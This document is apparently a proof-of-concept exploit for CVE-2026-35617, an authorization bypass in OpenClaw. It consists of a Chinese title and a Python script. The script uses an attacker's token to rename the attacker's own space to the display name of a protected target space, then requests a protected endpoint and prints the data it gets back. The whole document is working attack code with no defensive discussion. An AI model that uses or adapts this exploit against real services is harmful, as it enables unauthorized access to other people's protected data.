CVE-2026-35617 OpenClaw授权绕过漏洞

import requests # Target configuration TARGET_DISPLAY_NAME = "Confidential Project Space" ATTACKER_SPACE_ID = "attacker_space_id_here" BASE_URL = "https://api.openclaw.example.com" def exploit_rebinding(): # Headers with attacker's session token headers = { "Authorization": "Bearer <attacker_token>", "Content-Type": "application/json" } # Step 1: Rename the attacker's space to match the target protected space rename_payload = { "displayName": TARGET_DISPLAY_NAME } print(f"[*] Attempting to rename space {ATTACKER_SPACE_ID} to '{TARGET_DISPLAY_NAME}'...") rename_resp = requests.patch(f"{BASE_URL}/spaces/{ATTACKER_SPACE_ID}", json=rename_payload, headers=headers) if rename_resp.status_code == 200: print("[+] Space renamed successfully.") # Step 2: Attempt to access protected resources using the rebound policy print("[*] Attempting to access protected endpoint...") access_resp = requests.get(f"{BASE_URL}/protected/data", headers=headers) if access_resp.status_code == 200: print("[+] Exploit successful! Gained unauthorized access.") print(f"Data: {access_resp.text}") else: print("[-] Access denied. Policy might be correctly enforced.") else: print(f"[-] Failed to rename space. Status: {rename_resp.status_code}") if __name__ == "__main__": exploit_rebinding()